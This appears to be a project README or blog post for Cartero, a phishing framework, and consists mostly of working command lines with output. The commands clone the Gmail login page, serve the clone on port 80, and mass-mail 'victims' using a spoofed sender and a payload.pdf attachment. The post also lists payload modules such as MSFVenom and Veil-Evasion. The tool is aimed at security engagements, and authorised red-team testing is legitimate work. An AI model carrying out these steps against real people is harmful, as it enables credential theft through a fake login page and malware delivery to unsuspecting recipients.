With a lot of modules and a good CLI interface

Cartero is a phishing framework with a full featured CLI interface with a modular structure divided into commands that perform independent tasks (i.e. Mailer, Cloner, Listener, AdminConsole, etc…).
Each sub-command can be configured and automated.

The project was born out necessity through of years of engagements with tools that just didn’t do the job. Even though there are many projects out there, we were not able to find a suitable solution that gave us both easy of use and customizability.

The usage is really simple, for example you can clone the Gmail.com interface:

❯❯❯ ./cartero Cloner --url https://gmail.com --path /tmp --webserver gmail_com
❯❯❯ ./cartero Listener --webserver /tmp/gmail_com -p 80
Launching mongodb
Puma starting in single mode...
* Version 2.8.2 (ruby 2.1.1-p76), codename: Sir Edmund Percival Hillary
* Min threads: 4, max threads: 16
* Environment: production
* Listening on tcp://0.0.0.0:80
Use Ctrl-C to stop

And once the cloned site is up and running we can simply use the Mailer command to send templated emails to the victims:

❯❯❯ ./cartero Mailer --data victims.json --server gmail_com --subject "Internal Memo" --htmlbody email_html.html --attachment payload.pdf --from "John Doe <jdoe@company.com>"
Sending victim1@company.com
Sending victim2@company.com
Sending victim3@company.com

Installation

The installation process is pretty simple, just one command line:

curl -L https://raw.githubusercontent.com/Section9Labs/Cartero/master/data/scripts/setup.sh | bash

that automagically installs Ruby, MongoDB and all dependencies.

Usage: cartero [options]
List of Commands:
    Cloner, Listener, Twilio, IMessage, GoogleVoice, Servers, MSFRpcd, BeefConsole, AdminWeb, Update, AdminConsole, LinkedIn, Xmpp, WebMailer, Mailer, Templates, DNSServer, LetsEncrypt, Mongo
List of Payloads:
    SMBRedirect, VeilEvasion, Beef, MSFVenom
Global options:
        --proxy [HOST:PORT]          Sets TCPSocket Proxy server
    -c, --config [CONFIG_FILE]       Provide a different cartero config file
    -v, --[no-]verbose               Run verbosely
    -p [PORT_1,PORT_2,..,PORT_N],    Global Flag to set Mailer and Webserver ports
        --ports
    -m, --mongodb [HOST:PORT]        Global flag to Set MongoDB bind_ip and port
    -d, --debug                      Sets debug flag on/off
        --editor [EDITOR]            Edit Server
Common options:
        --list-commands              Prints list of commands for bash completion
        --commands-table             Prints list of commands details
        --list-payloads              Prints list of payloads for bash completion
        --payloads-table             Prints list of payloads details
    -h, --help [COMMAND]             Show this message
        --list-options               Show list of long available options
        --list-short-options         Show list of short available options
        --version                    Shows cartero CLI version

More information and documentation

[embed]http://section9labs.github.io/Cartero/[/embed]